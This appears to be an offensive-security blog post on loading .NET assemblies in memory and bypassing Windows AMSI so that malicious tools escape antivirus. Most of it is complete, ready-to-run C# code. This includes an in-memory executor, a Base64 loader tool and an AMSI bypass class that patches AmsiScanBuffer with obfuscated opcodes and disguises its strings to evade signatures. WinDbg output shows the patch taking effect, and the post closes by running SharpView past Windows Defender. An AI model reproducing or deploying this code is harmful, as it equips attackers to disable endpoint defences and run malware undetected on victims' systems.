Modern C2 Frameworks such as Cobalt Strike and Covenant include functionality to execute .NET assemblies in memory. Executing applications in memory is preferable, as it means no forensic artifacts are left on disk which may scanned by AV products, or captured by CSIRT teams.
The .NET Framework provides the Assembly.Load method which allows loading Common Object File Format (COFF) images like such as DLL’s and EXE’s. Assembly.Load can be supplied with a file path to load a DLL from disk, or with a byte array to load directly in memory.
In order to provide input to the application and retrieve the results, the following code can be used:
static string ExecuteAssembly(byte[] AssemblyBytes, string[] arguments = null)
{
var currentOut = Console.Out;
var currentError = Console.Error;
var memStream = new MemoryStream();
var sWriter = new StreamWriter(memStream)
{
AutoFlush = true
};
Console.SetOut(sWriter);
Console.SetError(sWriter);
var assembly = Assembly.Load(AssemblyBytes);
assembly.EntryPoint.Invoke(null, new object[] { arguments });
Console.Out.Flush();
Console.Error.Flush();
var output = Encoding.UTF8.GetString(memStream.ToArray());
Console.SetOut(currentOut);
Console.SetError(currentError);
sWriter.Dispose();
memStream.Dispose();
return output;
}
However, running the code with a malicious binary on a system with .NET Framework 4.8, which supports AMSI will result in the following error:
System.BadImageFormatException: Operation did not complete successfully because the file contains a virus or potentially unwanted software. (Exception from HRESULT: 0x800700E1)
The Anti Malware Scan Interface (AMSI)
The Anti Malware Scan Interface (AMSI) allows application code to be inspected by installed Anti-Virus products.
The list of current active AMSI providers can be found in the registry under “HKLM\SOFTWARE\Microsoft\AMSI\Providers”.
There is a number of known methods to bypass AMSI. When process is created, amsi.dll is mapped into the virtual address space of the application. This behaviour can be observed by listing the a processes loaded modules;
public static void ListAssemblies()
{
using (Process myProcess = new Process())
{
Process currentProcess = Process.GetCurrentProcess();
Console.WriteLine("Current process:" + currentProcess.ProcessName);
ProcessModule myProcessModule;
ProcessModuleCollection myProcessModuleCollection = currentProcess.Modules;
for (int i = 0; i < myProcessModuleCollection.Count; i++)
{
myProcessModule = myProcessModuleCollection[i];
Console.WriteLine("Loaded Module: " + myProcessModule.ModuleName);
Console.WriteLine("The " + myProcessModule.ModuleName +
"'s base address is: " + "0x" + myProcessModule.BaseAddress.ToString("x8"));
Console.WriteLine("The " + myProcessModule.ModuleName +
"'s Entry point address is: " + "0x" + myProcessModule.EntryPointAddress.ToString("x8"));
Console.WriteLine("The " + myProcessModule.ModuleName +
"'s File name is: " + myProcessModule.FileName);
}
}
}
The output shows that amsi.dll is mapped into the processes address space;
Inside amsi.dll is a function, AmsiScanBuffer which determines if the code being scanned is deemed malicious. This presence of this function can be seen in the DLL’s Export Address Table using dumpbin.exe:
Bypassing AMSI
Since this function lives in the address space of our application, we can use Reflection to determine location of this function and overwrite it.
So, the required steps are;
Find the base library address of amsi.dll:
var lib = LoadLibrary("amsi.dll");
Get the address of the AmsiScanBuffer function:
var memloc = GetProcAddress(lib, "AmsiScanBuffer");
Change the access permissions on the area of memory to allow us to write to it:
_ = VirtualProtect(memloc, (UIntPtr)patch.Length, 0x40, out uint oldProtect);
Finally, we just need to patch the function so it always returns a code which does not indicate the presence of malware.
Looking at the AmsiScanBuffer function in IDA we can see that if there is an error condition, 0x80070057 is placed in the EAX register (highlighted in yellow). The code being scanned is subsequently allowed to execute.
All we need to do is add some assembly code so the EAX register is always set to 0x80070057 after entering the function.
Because this is a well known technique, Anti-Virus products will often detect this string as a potential AMSI bypass. We can obfuscate the address using a sub instruction:
nasm > mov eax, 0x923B56CF
00000000 B8CF563B92 mov eax,0x923b56cf
nasm > sub eax, 0x12345678
00000000 2D78563412 sub eax,0x12345678
nasm > ret
00000000 C3 ret
var p = new byte[] { 0xB8, 0xCF, 0x56, 0x3B, 0x92, 0x2D, 0x78, 0x56, 0x34, 0x12, 0xC3 };
Marshal.Copy(p, 0, memloc, p.Length);
We can examine the effect this has on the application using WinDBG, by setting a breakpoint on the loading of the AMSI DLL, then examining the AmsiScanBuffer function before and after the bypass has been implemented:
0:006> sxe ld amsi
0:006> g
ModLoad: 00007ff9`48f20000 00007ff9`48f39000 C:\Windows\SYSTEM32\amsi.dll
ntdll!NtMapViewOfSection+0x14:
00007ff9`5450d274 c3 ret
0:000> u amsi!AmsiScanBuffer
amsi!AmsiScanBuffer:
00007ff9`48f235e0 4c8bdc mov r11,rsp
00007ff9`48f235e3 49895b08 mov qword ptr [r11+8],rbx
00007ff9`48f235e7 49896b10 mov qword ptr [r11+10h],rbp
00007ff9`48f235eb 49897318 mov qword ptr [r11+18h],rsi
00007ff9`48f235ef 57 push rdi
00007ff9`48f235f0 4156 push r14
00007ff9`48f235f2 4157 push r15
00007ff9`48f235f4 4883ec70 sub rsp,70h
0:000> g
0:008> u amsi!AmsiScanBuffer
amsi!AmsiScanBuffer:
00007ff9`48f235e0 b8cf563b92 mov eax,923B56CFh
00007ff9`48f235e5 2d78563412 sub eax,12345678h
00007ff9`48f235ea c3 ret
00007ff9`48f235eb 49897318 mov qword ptr [r11+18h],rsi
00007ff9`48f235ef 57 push rdi
00007ff9`48f235f0 4156 push r14
00007ff9`48f235f2 4157 push r15
00007ff9`48f235f4 4883ec70 sub rsp,70h
It’s possible to manipulate other areas of amsi.dll memory to subvert scanning. AmsiScanBuffer is applicable when dealing with Assembly.Load events, but the AmsiScanString which is more applicable to scripting languages will still be in effect.
Alternatively, AmsiOpenSession can be overwritten. This API takes effect before AmsiScanString or AmsiScanBuffer are called, so modifying it would prevent subsequent calls to those functions.
ExecuteAssembly
The following code converts a .NET assembly into a Base64 encoded text file which can be loaded via Assembly.Load:
using System;
using System.Text;
using System.IO;
using System.Reflection;
using CommandLine;
namespace ExecuteAssembly
{
internal class Program
{
class Options
{
[Option('e', "encode", Required = false, HelpText = "Input file to be encoded.")]
public string InputFile { get; set; }
[Option('r', "run", Required = false, HelpText = "Input file to be executed.")]
public string ExecuteFile { get; set; }
[Option('a', "arguments", Required = false, HelpText = "Arguments to be supplied to application.")]
public string Arguments { get; set; }
[Option('p', "providers", Required = false, HelpText = "List AMSI providers")]
public bool Providers { get; set; }
}
static void Main(string[] args)
{
Parser.Default.ParseArguments<Options>(args).WithParsed<Options>(o =>
{
if (o.Providers)
{
AMSIProviders();
}
if (o.InputFile != null)
{
if (File.Exists(o.InputFile))
{
EncodeAssembly(o.InputFile);
}
}
if (o.ExecuteFile != null)
{
if (File.Exists(o.ExecuteFile))
{
Console.WriteLine("Running " + o.ExecuteFile + " with arguments: " + o.Arguments);
string convertedByteArray = File.ReadAllText(o.ExecuteFile);
byte[] AssemblyBytes = Convert.FromBase64String(convertedByteArray);
string[] Arguments = { o.Arguments };
Console.WriteLine(ExecuteAssembly(AssemblyBytes, Arguments));
}
}
});
}
static void AMSIProviders()
{
Console.WriteLine("AMSI Providers");
String registryKey = @"SOFTWARE\Microsoft\AMSI\Providers";
using (Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(registryKey))
{
foreach (String subkeyName in key.GetSubKeyNames())
{
Console.WriteLine(key.OpenSubKey(subkeyName).GetValue(""));
}
}
}
static void EncodeAssembly(string filename)
{
byte[] dotNetAssembly = File.ReadAllBytes(filename);
string convertedByteArray = Convert.ToBase64String(dotNetAssembly);
File.WriteAllText(filename + ".txt", convertedByteArray);
Console.WriteLine("Encoded file output to: " + filename + ".txt");
}
static string ExecuteAssembly(byte[] AssemblyBytes, string[] arguments = null)
{
var currentOut = Console.Out;
var currentError = Console.Error;
var memStream = new MemoryStream();
var sWriter = new StreamWriter(memStream)
{
AutoFlush = true
};
Console.SetOut(sWriter);
Console.SetError(sWriter);
EnableBP.Execute();
var assembly = Assembly.Load(AssemblyBytes);
assembly.EntryPoint.Invoke(null, new object[] { arguments });
Console.Out.Flush();
Console.Error.Flush();
var output = Encoding.UTF8.GetString(memStream.ToArray());
Console.SetOut(currentOut);
Console.SetError(currentError);
sWriter.Dispose();
memStream.Dispose();
return output;
}
}
}
AMSI Bypass Code
This code patches AMSIScanBuffer to always return a clean scan result.
using System;
using System.Runtime.InteropServices;
public class EnableBP
{
public static void Execute()
{
var sp = Convert.FromBase64String("QW1zaVNjYW5CdWZmZXI="); // AmsiScanBuffer
string decodedSp = System.Text.Encoding.UTF8.GetString(sp);
var ad = Convert.FromBase64String("YW1zaS5kbGw="); // amsi.dll
string decodedAd = System.Text.Encoding.UTF8.GetString(ad);
var lib = LoadLibrary(decodedAd);
var myvar = GetProcAddress(lib, Convert.ToString(decodedSp));
var p = new byte[] { 0xB8, 0xCF, 0x56, 0x3B, 0x92, 0x2D, 0x78, 0x56, 0x34, 0x12, 0xC3 };
_ = VirtualProtect(myvar, (UIntPtr)p.Length, 0x3F + 0x01, out uint oldProtect);
Marshal.Copy(p, 0, myvar, p.Length);
_ = VirtualProtect(myvar, (UIntPtr)p.Length, oldProtect, out uint _);
}
[DllImport("kernel32")]
static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
static extern IntPtr GetProcAddress( IntPtr hModule, string procName);
[DllImport("kernel32")]
static extern bool VirtualProtect(IntPtr lpAddress,UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
Result
Using the application, we can run a Base64 encoded version of SharpView that would otherwise be deleted by Windows Defender: